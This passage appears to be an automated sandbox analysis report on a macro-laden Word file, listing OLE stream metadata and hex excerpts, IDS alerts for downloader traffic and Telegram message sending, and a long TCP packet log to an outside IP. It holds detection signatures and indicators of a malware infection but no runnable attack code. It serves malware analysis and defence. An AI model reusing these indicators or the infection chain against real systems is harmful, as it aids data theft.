                                                                                                                                                          Stream Path: Data, File Type: dBase III DBT, version number 0, next free block index 113648, 1st item "TRC", Stream Size: 113648
                                                                                                                                                          General
                                                                                                                                                          Stream Path:Data
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:dBase III DBT, version number 0, next free block index 113648, 1st item "TRC"
                                                                                                                                                          Stream Size:113648
                                                                                                                                                          Entropy:7.649737008358478
                                                                                                                                                          Base64 Encoded:True
                                                                                                                                                          Data ASCII:. . D . d . . . . . . . . . . . . . . . . . . . . . / = ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . s . . > . . . . . . . . A . . . . ? . . . . . . . . . . . . . . . . . . . . . . . . P . i . c . t . u . r . e . . 1 . . . . . " . . . . . . . . . . . . . . . . . . . R . . , . . . . Z . . 7 J 2 9 ( . . . . . . . . D . . . . . . F . . . . Z . . 7 J 2 9 ( . . J F I F . . . . . . . . . I C C _ P R O F I L E . . . . . . . . . . . . . . . m n
                                                                                                                                                          Data Raw:f0 bb 01 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 2f e0 3d 60 03 ca 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 70 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 00 73 00 0b f0 3e 00 00 00 7f 00 80 00 e1 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
                                                                                                                                                          Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 372
                                                                                                                                                          General
                                                                                                                                                          Stream Path:Macros/PROJECT
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                          Stream Size:372
                                                                                                                                                          Entropy:5.247850066443211
                                                                                                                                                          Base64 Encoded:True
                                                                                                                                                          Data ASCII:I D = " { D 4 8 8 9 9 2 A - D A 8 5 - 4 B 5 A - 9 B F 1 - 3 D A F D 4 9 5 8 A 0 9 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 1 E 1 C 1 1 2 9 1 1 2 9 1 7 2 D 1 7 2 D 1 7 2 D 1 7 2 D " . . D P B = " 2 0 2 2 2 F 3 0 3 0 3 0 3 0 3 0 " . . G C = " 2 2 2 0 2 D 2 D 2 E 2 E 2 E 2 E D 1 " . . . . [ H o s t E x t e n d e r I n f o ] . .
                                                                                                                                                          Data Raw:49 44 3d 22 7b 44 34 38 38 39 39 32 41 2d 44 41 38 35 2d 34 42 35 41 2d 39 42 46 31 2d 33 44 41 46 44 34 39 35 38 41 30 39 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69
                                                                                                                                                          Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 41
                                                                                                                                                          General
                                                                                                                                                          Stream Path:Macros/PROJECTwm
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:41
                                                                                                                                                          Entropy:3.0773844850752607
                                                                                                                                                          Base64 Encoded:False
                                                                                                                                                          Data ASCII:T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
                                                                                                                                                          Data Raw:54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00
                                                                                                                                                          Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2910
                                                                                                                                                          General
                                                                                                                                                          Stream Path:Macros/VBA/_VBA_PROJECT
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:2910
                                                                                                                                                          Entropy:4.347263611919823
                                                                                                                                                          Base64 Encoded:False
                                                                                                                                                          Data ASCII:a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o
                                                                                                                                                          Data Raw:cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 fe 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                                                                                                                                                          Stream Path: Macros/VBA/dir, File Type: VAX-order 68k Blit mpx/mux executable, Stream Size: 522
                                                                                                                                                          General
                                                                                                                                                          Stream Path:Macros/VBA/dir
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:VAX-order 68k Blit mpx/mux executable
                                                                                                                                                          Stream Size:522
                                                                                                                                                          Entropy:6.254646838582843
                                                                                                                                                          Base64 Encoded:True
                                                                                                                                                          Data ASCII:. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . 9 . i . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s W O W 6 . 4 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . . . . * , \\ C . . . . # m . . A ! O f f i c g O D . f . i . c g
                                                                                                                                                          Data Raw:01 06 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 39 c8 8f 69 08 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30
                                                                                                                                                          Stream Path: WordDocument, File Type: data, Stream Size: 4096
                                                                                                                                                          General
                                                                                                                                                          Stream Path:WordDocument
                                                                                                                                                          CLSID:
                                                                                                                                                          File Type:data
                                                                                                                                                          Stream Size:4096
                                                                                                                                                          Entropy:1.0819123923304879
                                                                                                                                                          Base64 Encoded:False
                                                                                                                                                          Data ASCII:. Y . . . . . . . . . . . . . . . . . . . . . . . . . . b j b j [ [ . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . \\ 9 . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 . . . . . . . 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . G . . . 0 . . . . . . . . .
                                                                                                                                                          Data Raw:ec a5 c1 00 59 e0 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 02 08 00 00 0e 00 62 6a 62 6a 5b c9 5b c9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 39 a3 0a 5c 39 a3 0a 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

                                                                                                                                                          Network Behavior

                                                                                                                                                          Suricata IDS Alerts

                                                                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                          2025-01-07T13:25:17.212528+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549733132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:19.602455+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549733132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:20.204571+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549802188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:23.336682+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549807132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:25.601243+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549831132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:26.078233+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549813132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:26.189834+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549843188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:27.143228+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549848132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:29.296135+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549866188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:30.116047+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549813132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:30.300073+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549872132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:30.506587+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549879188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:31.350398+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549886132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:31.522386+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549872132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:32.098031+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549896188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:33.569168+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549904132.226.8.16980TCP
                                                                                                                                                          2025-01-07T13:25:33.925471+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549912188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:34.061984+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549913188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:34.145521+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549914188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:34.976314+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.549920149.154.167.220443TCP
                                                                                                                                                          2025-01-07T13:25:40.157761+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549968188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:42.243631+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.549986149.154.167.220443TCP
                                                                                                                                                          2025-01-07T13:25:42.997193+01002803305ETPRO MALWARE Common Downloader Header Pattern H3192.168.2.549996188.114.97.3443TCP
                                                                                                                                                          2025-01-07T13:25:43.911647+01001810007Joe Security ANOMALY Telegram Send Message1192.168.2.550001149.154.167.220443TCP

                                                                                                                                                          Network Port Distribution

                                                                                                                                                          TCP Packets

                                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                          Jan 7, 2025 13:24:59.336947918 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:24:59.341896057 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:24:59.342180014 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:24:59.342294931 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:24:59.348727942 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.667083979 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.667103052 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.667114019 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.667124987 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.667138100 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.667188883 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.667243004 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.703648090 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703670025 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703681946 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703694105 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703705072 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703764915 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703778982 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703793049 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.703804016 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.703841925 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.703883886 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.753333092 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753369093 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753386021 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753448963 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.753483057 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753530025 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753549099 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753577948 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753581047 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.753592968 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.753603935 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.753676891 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.754365921 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.754378080 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.754388094 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.754460096 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.794645071 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.794795990 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.794809103 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.794910908 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.794981003 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.794992924 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.795003891 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.795080900 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.795150995 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.795164108 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.795207024 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.795969009 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.795980930 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.795991898 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.796031952 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.796066999 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.796117067 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.796128988 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.796189070 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.796783924 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.796793938 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.796834946 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.842178106 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842195034 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842300892 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.842307091 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842358112 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842370987 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842431068 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.842437029 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842447996 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.842483997 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.843138933 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.843152046 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.843163013 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.843193054 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.843205929 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.843205929 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.843206882 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.843244076 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.844109058 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844120979 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844127893 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844134092 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844144106 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844177961 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.844216108 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.844965935 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844978094 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.844990015 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.845035076 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.845035076 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882072926 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882091999 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882103920 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882179022 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882232904 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882256031 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882276058 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882288933 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882302046 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882313013 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882327080 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882378101 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882783890 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882823944 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882836103 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882885933 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882908106 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882920027 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882930994 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882942915 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.882987976 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.882987976 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.883744955 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883781910 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883794069 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883836031 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.883836031 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.883872032 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883883953 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883896112 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883908033 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.883934021 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.883971930 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.884732008 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.884744883 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.884756088 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.884788990 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.924731016 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.924750090 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.924843073 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.924896002 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.924909115 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.924963951 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.930867910 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.930888891 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.930906057 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.930938005 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.930958986 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.930970907 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.930980921 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.931029081 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.931029081 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.931358099 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931370020 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931380987 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931430101 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.931571007 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931591034 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931603909 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931615114 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.931672096 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932070017 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932082891 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932096958 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932109118 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932126045 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932151079 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932166100 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932168961 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932168961 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932179928 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932194948 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932224035 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932224035 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932248116 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932929039 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932940006 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932950974 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932982922 CET8049710147.124.216.113192.168.2.5
                                                                                                                                                          Jan 7, 2025 13:25:00.932993889 CET4971080192.168.2.5147.124.216.113
                                                                                                                                                          Jan 7, 2025 13:25:00.932993889 CET8049710147.124.216.113192.168.2.5
